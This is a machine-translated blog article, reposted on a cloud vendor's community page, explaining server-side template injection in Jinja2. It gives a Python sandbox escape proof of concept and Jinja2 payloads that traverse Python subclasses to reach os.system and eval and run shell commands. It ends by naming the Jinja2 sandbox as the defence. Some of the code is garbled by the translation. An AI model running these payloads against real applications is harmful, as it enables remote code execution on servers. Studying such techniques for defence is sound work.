Execute arbitrary code in the Jinja2 template using the Python feature

Source: Internet
Author: User

Execute arbitrary code in the Jinja2 template using the Python feature

This article originated from the blog Injecting Flask published by @ nvisium on the blog. In the original article, the author explains how to use the Python template engine Jinja2 in server template injection (SSTI, when being able to control the template content, use the User-Defined Functions registered in the environment variables for malicious calls or rendering for XSS.

Whether the Jinja2 template engine can directly execute the original command in SSTI is not described, and it is also described in the official Jinja2 documentation that the template cannot directly execute any Python code, in this case, it seems impossible to directly control the template content in Jinja2 to execute Python code or commands.

I. complicated code execution methods in templates

Recently, during project development, I accidentally noticed that some Python built-in variables, such as [] {}, can be accessed in the Jinja2 template and some functions in the Python variable type can be used. The sample code is as follows:

# coding: utf-8import sysfrom jinja2 importTemplate template = Template("Your input: {}".format(sys.argv[1] if len(sys.argv) > 1 else '
  
   '))print template.render()
  

For ease of demonstration, the command parameter input is directly spliced into a part of the template content for rendering and output. Here we directly input {'abcd'} To make the template render the string variable directly:

 


 

 

Of course, as mentioned above, you can directly call the function of the variable instance in the template. For example, the upper () function in the string variable converts the string to the full capital form:

 


 

 

So how to execute Python code in the Jinja2 template? The official statement is that you need to register a function in the template environment to call the function in the template. For example, to directly call the built-in module OS in the template, You need to register the function in the template environment, the sample code is as follows:

# coding: utf-8import osimport sysfrom jinja2 importTemplate template = Template("Your input: {}".format(sys.argv[1] if len(sys.argv) > 1 else '
   
    '))template.globals['os'] = os print template.render()
   

Run the code and input the {OS. popen ('echo Hello RCE '). read () }}because the OSos variable has been registered as the Python OS module in the template environment, you can directly call the module function to execute system commands, here, the execution of the system Command is echoHello Command Exection:

 


 

 

If you run the sample code, an OS-defined exception error is returned:

 


 

 

Ii. Use Python to directly execute arbitrary code

So, how to call the popen () function in the template to execute system commands without registering the OS module? As mentioned above, templates in Jinja2 can access the built-in variables in Python and can call the methods of corresponding variable types, this feature reminds me of a common Python sandbox environment escape method. For example, a Python sandbox in 2014CSAW-CTF bypasses the question. The Environment Code is as follows:

#!/usr/bin/env pythonfrom __future__ import print_function print("Welcome to my Python sandbox! Enter commands below!") banned = [     "import",    "exec",    "eval",    "pickle",    "os",    "subprocess",    "kevin sucks",    "input",    "banned",    "cry sum more",    "sys"] targets =__builtins__.__dict__.keys() targets.remove('raw_input') targets.remove('print') for x in targets:     del __builtins__.__dict__[x] while 1:     print(">>>", end=' ')    data = raw_input()     for no in banned:        if no.lower() indata.lower():            print("Nobueno")            break    else: # this means nobreak        exec data

(For details about how to bypass the sandbox restriction by using the Python feature, refer to Writeup). Here we provide the improved PoC:

[c for c in [].__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('echo Hello SandBox')

 

 


 

Of course, this method can not only execute system commands through the OS module, but also perform file read/write operations. Please construct the specific code by yourself.

Return to the question of how to directly execute code in the Jinja2 template, because the template can access the Python built-in variables and variable methods, and can traverse the variables through the Jinja2 template syntax, therefore, the following template Payload can be constructed to achieve the same effect as the above PoC:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{{c.__init__.func_globals['linecache'].__dict__['os'].system('id') }}{% endif %}{% endfor %}

Using the Payload as the execution parameter of Sample Code 2, the system command id will be executed:

 


 

 

Of course, in addition to traversing and finding the OS module, you can also retrieve the eval function and call it directly, so that you can call complicated Python code.

The original Python PoC code is as follows:

[ForAIn[BForBIn[CForCIn[]. _ Class _. _ base _. _ subclasses __()IfC. _ name _ = 'catch _ warnings '] [0]. _ init _. func_globals.values ()IfType (B) = dict]If'Eval'InA. keys ()] [0] ['eval'] ('_ import _ ("OS"). popen ("whoami"). read ()')

In Jinja2, the template Payload is as follows:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}  {% for b in c.__init__.func_globals.values() %}  {% if b.__class__ == {}.__class__ %}    {% if 'eval' in b.keys() %}      {{ b['eval']('__import__("os").popen("id").read()') }}    {% endif %}  {% endif %}  {% endfor %}{% endif %}{% endfor %}

When Payload is used as the execution parameter of example code 2 (note that the quotation marks are escaped), the eval () function is used to dynamically load the OS module and run the following command:

 


 

 

Iii. Ways of exploits and defense methods

SSTI (server template injection ). Using SSTI to control the content of the Web application rendering template (based on Jinja2), remote code (command) execution can be easily performed. Of course, the premise is that the template content is controllable. Although this scenario is not common, it is inevitable that programmers will neglect to have special requirements that allow users to control some of the template content.

In the Jinja2 template, you can use the sandbox environment jinja2.sandbox that comes with Jinja2 to prevent arbitrary code execution by using the Python feature. sandboxedEnvironment, Jinja2 by default, the sandbox environment will check the operated variable attributes when parsing the template content, and will throw an error for unregistered variable attribute access.

 


Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.